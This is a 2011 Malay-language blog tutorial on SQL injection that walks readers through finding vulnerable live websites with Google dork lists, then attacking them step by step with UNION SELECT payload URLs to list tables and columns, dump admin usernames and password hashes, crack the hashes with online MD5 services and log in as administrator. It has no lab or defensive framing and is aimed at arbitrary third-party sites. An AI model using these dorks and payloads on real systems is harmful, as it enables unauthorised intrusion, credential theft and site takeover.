Wednesday 13 July 2011

TUTORIAL: SQL Injection (Part 1)


SQL ialah singkatan untuk Structured Query Language. SQL biasanya digunakan untuk buat database dan maklumat dapat disimpan didalamnya.
SQL Injection adalah salah satu teknik penyerangan ke sebuah web dengan cara memasukkan perintah sql ke url target sehingga attacker boleh memperoleh informasi penting dari website tersebut. Seperti nama user, password, email, dan masih banyak lagi informasi yang boleh didapatkan.

Langkah 1: Cari website untuk di inject


Mencari SQLI sangat mudah,semua yang perlu korang lakukan adalah Googling .

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:read.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()

Lebih lengkap, silakan dicari di Google Dorknya

Misalkan kita mendapati sebuah web format seperti ini:
www.anything.com/something.php?something=something
Contoh:
http://www.example.com/index.php?id=3

Langkah 2: Check bug

Cek bug pada suatu website dengan menambahkan single quote ( ' ) dibelakang url, Misal Seperti ini :


http://www.example.com/index.php?id=3'

Jika muncul pesan error seperti di bawah ini, maka web tersebut berkemungkinan boleh di inject:

MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by a.content_order Asc' at line 1)



Langkah 3: Cari jumlah column


Untuk mencari column gunakan perintah [order by].order by 1-- dimulai dengan angka 1, selanjutnya 2, dst Hingga muncul pesan error.


http://www.example.com/index.php?id=3 ORDER BY (number)--



Untuk target kali ini, error muncul pada angka 7.

MySQL Error: 1054 (Unknown column '7' in 'order clause')


Jadi, angka yang diambil adalah 7-1 = 6 ( Jumlah column adalah 6)

http://www.example.com/index.php?id=3 order by 6--


Langkah 4: Cari column yang dapat di akses


Selanjutnya kita akan mencari column yang dapat diakses dengan perintah “union all select”.

Jangan lupa untuk tambahkan tanda  dash (-) didepan angka parameter id.

Contoh:

id=3 menjadi id=-3

http://www.example.com/index.php?id=-3 union select all 1,2,3,4,5,6--

Nombor yang di bold kan adalah column yang lebih vulnerable untuk di inject.
Oleh itu, kita pilih nombor 1 (sebagai contoh)


Langkah 5: Cari MySQL Database Version


Selanjutnya, kita cari versi database yang digunakan. Gantikan vulnerable column yang dipilih iaitu 1 dengan “@@version” ataupun “version()” kalau  yang pertama tak menjadi.

http://www.example.com/index.php?id=-3 union select all @@version,2,3,4,5,6--


Muncul tulisan : 5.0.51a-community

Hasilnya kita dapat tahu version yang digunakan. Version yang digunakan mestilah 5 dan keatas. Version kurang dari 5 kena guna cara yang lain.


Langkah 6: Cari Table name


Tukarkan vulnerable column nombor kepada “table_name” dan tambahkan “from information_schema.tables where table_schema=database()-- selepas angka 6.


http://www.example.com/index.php?id=-3 union select all table_name,2,3,4,5,6 from 
 information_schema.tables where table_schema=database()--
 


Untuk dapatkan semua Table, gunakan “group_concat”.

http://www.example.com/index.php?id=-3 union select all group_concat(table_name),2,3,4,5,6 from  information_schema.tables where table_schema=database()--  


Langkah 7: Cari column names


Gantikan “table” dengan “column

http://www.example.com/index.php?id=-3 union select all group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_schema=database()--



Dari situ kita dapat lihat terdapat pengulangan perkataan “id”, ia menunjukkan table number untuk setiap columns.


Langkah 8: Dapatkan data dari columns.

Data yang menarik adalah “username“ dan “password”, kedua-duanya ada pada table yang pertama iaitu “tar_admin”.

0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa.

http://www.example.com/index.php?id=-3 union select all group_concat(username,0x3a,password),2,3,4,5,6 from tar_admin--

Langkah 9: Crack encrypted password

Kita dah dapat dah “username” dan “passwords”, tapi password nya encrypted. Jadi untuk crack password tersebut, boleh lah cuba crack kat http://md5crack.com/crackmd5.php ataupun http://www.md5decrypter.co.uk.


Langkah 10: Log in

Okey, username dah ada, password dah ada.. jadi tinggal nak log in je kat log in page website tersebut


0 comments:

Post a Comment